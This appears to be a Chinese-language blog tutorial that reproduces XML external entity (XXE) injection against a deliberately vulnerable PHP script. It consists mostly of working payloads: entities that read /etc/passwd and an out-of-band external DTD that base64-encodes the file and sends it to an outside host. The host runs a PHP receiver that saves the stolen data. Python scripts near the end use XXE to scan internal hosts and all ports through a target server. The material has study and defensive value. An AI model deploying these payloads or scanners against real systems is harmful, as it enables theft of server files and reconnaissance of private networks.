摘要:记录以下关于xml实体注入的复现以及利用

XXE(XML External Entity Injection) 全称为 XML 外部实体注入,和sql注入漏洞一样,大概都是通过语法的利用来达到获取服务器信息的目的。不同的是sql注入漏洞是通过拼接sql语句,而xml实体注入是因为攻击者可以通过控制xml解析的url来引用服务器上文件来获取服务器信息。

关于xml外部实体

基本的xml语法在xml基础可以看到。

xml实体注入

xml外部实体注入的关键点就是控制xml解析的url。而控制url的最好的方法就是通过外部实体。

实验文件:

xml.php
注意以下几点:

  • libxml_disable_entity_loader的参数为false表示允许加载实体。
  • LIBXML_DTDLOAD:simplexml_load_file 函数在旧版本中是默认解析实体的,但是在新版本中,已经不再默认解析实体了,需要指定第三个参数为LIBXML_NOENT,不然不会解析实体的。
  • LIBXML_DTDLOAD:LIBXML_DTDLOAD表示加载dtd,如果不指定这个参数不会解析dtd文件。
<?php
    libxml_disable_entity_loader(false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;
?>

有回显的xml注入

  • 直接通过实体

    xml文件

    <?xml version="1.0"?>
    <!DOCTYPE ANY [ 
    <!ENTITY file SYSTEM "file:///etc/passwd"> 
    ]>
    <ANY>&file;</ANY>

    xml实体注入3.png

  • 通过外部dtd引入实体

    xml文件

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE a SYSTEM "http://150.1.1.1/test4.dtd">
    <a>&file;</a>

    test4.dtd

    <!ENTITY file SYSTEM "file:///etc/passwd">

    xml实体注入2.png

    引入外部dtd时文件名字可以修改为test4.txt,.dtd后缀不要求

    xml实体注入5.png

  • 通过实体引入实体

    xml文件

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE a [
        <!ENTITY % name SYSTEM "http://150.1.1.1/test4.dtd">
        %name;
    ]>
    <a>&file;</a>

    test4.dtd

    <!ENTITY file SYSTEM "file:///etc/passwd">

    xml实体注入4.png

  • 当因为/etc/passwd里面有xml的特殊字符导致xml解析器报错的时候,使用"<![CDATA["和 "]]>"

    xml文件

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE roottag [
    <!ENTITY % start "<![CDATA[">   
    <!ENTITY % goodies SYSTEM "file:///etc/passwd">  
    <!ENTITY % end "]]>">  
    <!ENTITY % dtd SYSTEM "http://150.1.1.1/evil.dtd"> 
    %dtd; ]> 
    <roottag>&all;</roottag>

    evil.dtd文件

    <?xml version="1.0" encoding="UTF-8"?> 
    <!ENTITY all "%start;%goodies;%end;">

    xml实体注入1.png

无回显的xml注入

xml文件

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://150.1.1.1/test.dtd">
%remote;%int;%send;
]>

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://150.1.1.1/test.php?file=%file;'>">

test.php

<?php
file_put_contents("jieguo.txt", $_GET['file']) ;  
?>

xml实体注入6.png

然后可以在jieguo.txt下看到base64加密后的/etc/passwd

xml实体注入7.png

如果文件过大可以使用php://filter/zlib.deflate/convert.base64-encode/进行压缩

<?php
$a=file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd");
file_put_contents("yasuo", $a);
?>

使用php://filter/read=convert.base64-decode/zlib.inflate/进行解压

<?php
echo file_get_contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=/www/admin/localhost_80/wwwroot/yasuo");  
?>

注意点

刚开我以为这样构造就可以

<?xml version="1.0"?>
<!DOCTYPE ANY [ 
<!ENTITY % file SYSTEM "file:///etc/passwd"> 
<!ENTITY url SYSTEM "http://150.1.1.1/test.php?file=%file;">]
>
<ANY>&url;</ANY>

最后才发现

  1. xml使用SYSTEM引用外部dtd文件的时候是不会将%file;替换为/etc/passwd

    xml注入错误1.png

  2. xml中的特殊字符

    &符号:&amp;
    单引号:&apos;
    大于号:&gt;
    小于号:&lt;
    双引号:&quot;

    xml中不能出现特殊字符,否则会被当成xml语法的一部分进行处理。如果要在xml中使用&符号,要用&amp;来代替

  3. xml中的特殊字符的使用

    # &#60;和&lt;
    # 以上两个字符在html中都可以表示小于号,但是xml中&#60;会被当成xml的特殊符号和"<"符号效果一样。
    
    # 下面两端代码作用相同
    <?xml version="1.0"?>
    <!DOCTYPE ANY [ 
    <!ENTITY int "<">
    ]>
    <ANY>&int;</ANY>
    
    
    <?xml version="1.0"?>
    <!DOCTYPE ANY [ 
    <!ENTITY int "&#60;">
    ]>
    <ANY>&int;</ANY>
    
    # 下面两端代码作用也相同
    <?xml version="1.0"?>
    <!DOCTYPE ANY [ 
    <!ENTITY % int "<!ENTITY &#37;  send SYSTEM 'http://150.1.1.1/test.php?file=123'>">
    %int;
    %send;
    ]>
    
    <?xml version="1.0"?>
    <!DOCTYPE ANY [ 
    <!ENTITY % int "&#60;!ENTITY &#37;  send SYSTEM 'http://150.1.1.1/test.php?file=123'&#62;">
    %int;
    %send;
    ]>

    因为出现xml的特殊符号"<"符号报错

    xml注入错误2.png

    因为出现xml的特殊符号"&#60;"报错

    xml注入错误3.png

  4. url请求的时机

    <?xml version="1.0"?>
    <!DOCTYPE ANY [ 
    <!ENTITY % int "&#60;!ENTITY &#37;  send SYSTEM 'http://150.1.1.1/test.php?file=123'&#62;">
    %int;
    %send;
    ]>

    如果不调用%send;是不会去请求url的,只有当调用%send;才回去向test.php发送请求。

xml探测内网主机

#!/usr/bin/env python3
import requests
import base64


def build_xml(string,ip):
    xml = """<?xml version="1.0" encoding="utf-8"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xxe>"""
    xml = xml + "\r\n" + """&xxe;"""
    xml = xml + "\r\n" + """</xxe>"""
    # print(xml)
    send_xml(xml,ip)

def send_xml(xml,ip):
    headers = {'Content-Type': 'application/xml'}
    try:
        res= requests.post('http://150.158.163.34/xml.php', data=xml, headers=headers, timeout=5)
        # print(base64.b64decode(res.text))
        print (ip + " open")
    except Exception:
        print(ip + " close")
for i in range(34, 100):
    try:
        i = str(i)
        ip = '150.1.1.' + i
        # string = 'php://filter/zlib.deflate/convert.base64-encode/resource=http://' + ip + '/'
        string = 'php://filter/read=convert.base64-encode/resource=http://' + ip + '/'
        # print(string)
        build_xml(string,ip)
    except:
        continue

xml探测端口

#!/usr/bin/env python3
import requests
import base64

def build_xml(string,ip):
    xml = """<?xml version="1.0" encoding="utf-8"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xxe>"""
    xml = xml + "\r\n" + """&xxe;"""
    xml = xml + "\r\n" + """</xxe>"""
    # print(xml)
    send_xml(xml,ip)

def send_xml(xml,ip):
    headers = {'Content-Type': 'application/xml'}
    try:
        res= requests.post('http://150.158.163.34/xml.php', data=xml, headers=headers, timeout=5)
        # print(base64.b64decode(res.text))
        if "refused" in res.text:
            print(ip + " close")
        else:
            print (ip + " open")
    except Exception:
        print(ip + " close")
for i in range(0, 65535):
    try:
        i = str(i)
        ip = '150.1.1.1:' + i
        # string = 'php://filter/zlib.deflate/convert.base64-encode/resource=http://' + ip + '/'
        string = 'php://filter/read=convert.base64-encode/resource=http://' + ip + '/'
        # print(string)
        build_xml(string,ip)
    except:
        continue